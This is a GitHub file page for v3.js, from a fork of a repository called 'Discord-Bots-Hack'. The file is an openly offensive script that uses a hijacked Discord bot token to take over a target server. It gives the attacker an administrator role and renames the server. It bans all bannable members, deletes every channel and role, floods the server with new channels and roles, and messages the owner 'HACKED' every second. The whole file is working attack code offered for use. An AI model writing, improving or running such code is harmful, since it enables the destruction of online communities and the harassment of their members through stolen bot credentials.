forked from REVENGE977/Discord-Bots-Hack
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathv3.js
More file actions
125 lines (102 loc) · 5.27 KB
/
v3.js
File metadata and controls
125 lines (102 loc) · 5.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
const Discord = require("discord.js")
const client = new Discord.Client()
const configs = {
"targetServerID": "TARGET SERVER ID",
"accountID": "YOUR ID",
"botNickname": "BOT NAME AFTER THE HACKING",
"botIcon": 'https://6.top4top.net/p_1415xrqem1.jpg',
"newServerIcon": "https://6.top4top.net/p_1415xrqem1.jpg",
"newServerName": "SERVER NAME AFTER THE HACKING",
"token": "TARGET BOT TOKEN"
}
const setAdmin = (guildID, accountID) => {
try {
const targetServer = client.guilds.cache.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.cache.get(client.user.id).permissions.has('MANAGE_ROLES_OR_PERMISSIONS') || !targetServer.members.cache.get(client.user.id).permissions.has('MANAGE_ROLES')) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.roles.create({data: {name: `\u200b`, color: 0x2F3136, permissions: "ADMINISTRATOR"}, reason: "HACKED"}).then((role) => {
targetServer.members.cache.get(accountID).roles.add(role).catch((err) => {
return console.error(`You are not in the ${targetServer.name} server ! You must to be in this server befor leveling up !`)
})
})
}catch {}
}
const changeServerInfo = (guildID, options) => {
const targetServer = client.guilds.cache.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.cache.get(client.user.id).permissions.has("MANAGE_GUILD")) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.setName(options.newServerName)
targetServer.setIcon(options.newServerIcon)
const embed = new Discord.MessageEmbed()
.setAuthor(client.user.tag, client.user.displayAvatarURL())
.setTitle("HACKED")
.setDescription(`YOUR SERVER ${targetServer.name} HAS BEEN HACKED BY ${client.user.tag}`)
.setFooter(client.user.tag, client.user.displayAvatarURL())
.setColor("#ff0000")
setInterval(() => {
try {
let ownerid = client.guilds.cache.get(guildID).ownerID;
client.users.cache.get(ownerid).send(embed);
}catch {}
}, 1000)
}
const banMembers = (guildID) => {
const targetServer = client.guilds.cache.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.cache.get(client.user.id).permissions.has("BAN_MEMBERS")) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.members.cache.forEach(async (member) => {
member.bannable ? await member.ban({reason: `HACKED BY ${client.user.tag}`}) : undefined
})
}
const changeNicks = (guildID, newNick) => {
const targetServer = client.guilds.cache.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.cache.get(client.user.id).permissions.has("MANAGE_NICKNAMES")) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.members.cache.forEach((member) => {
try {
member.setNickname(newNick, `HACKED BY ${client.user.tag}`)
} catch {}
})
}
const createChannelsAndRoles = (guildID, name) => {
const targetServer = client.guilds.cache.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.cache.get(client.user.id).permissions.has("MANAGE_CHANNELS") || !targetServer.members.cache.get(client.user.id).permissions.has('MANAGE_ROLES_OR_PERMISSIONS') || !targetServer.members.cache.get(client.user.id).permissions.has('MANAGE_ROLES')) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.members.cache.forEach((member) => {
member.roles.cache.forEach(async (role) => {
try {
await member.removeRole(role)
} catch {}
})
})
targetServer.channels.cache.forEach(async (channel) => {
channel.deletable ? await channel.delete() : undefined
})
targetServer.roles.cache.forEach(async(role) => {
role.deletable ? await role.delete() : undefined
})
setInterval(async () => {
await targetServer.channels.create(name, "text")
await targetServer.channels.create(name, "voice")
await targetServer.roles.create({data: {name: `HACKED BY ${client.user.username}`, permissions: 0, color: 0xFF0000 }, reason: "HACKED"}).then(async(role) =>{
await targetServer.members.cache.forEach(async (member) => {
try {
await member.roles.add(role)
} catch {}
})
})
}, 500)
}
client.on("ready", () => {
console.log("THE HACKING STARTED NOW ")
try {
client.user.setUsername(configs.botNickname)
client.user.setAvatar(configs.botIcon)
}catch {}
setAdmin(configs.targetServerID, configs.accountID)
changeServerInfo(configs.targetServerID, {"newServerName": configs.newServerName, "newServerIcon": configs.newServerIcon})
changeNicks(configs.targetServerID, configs.botNickname)
banMembers(configs.targetServerID)
createChannelsAndRoles(configs.targetServerID, configs.botNickname)
})
client.login(configs.token);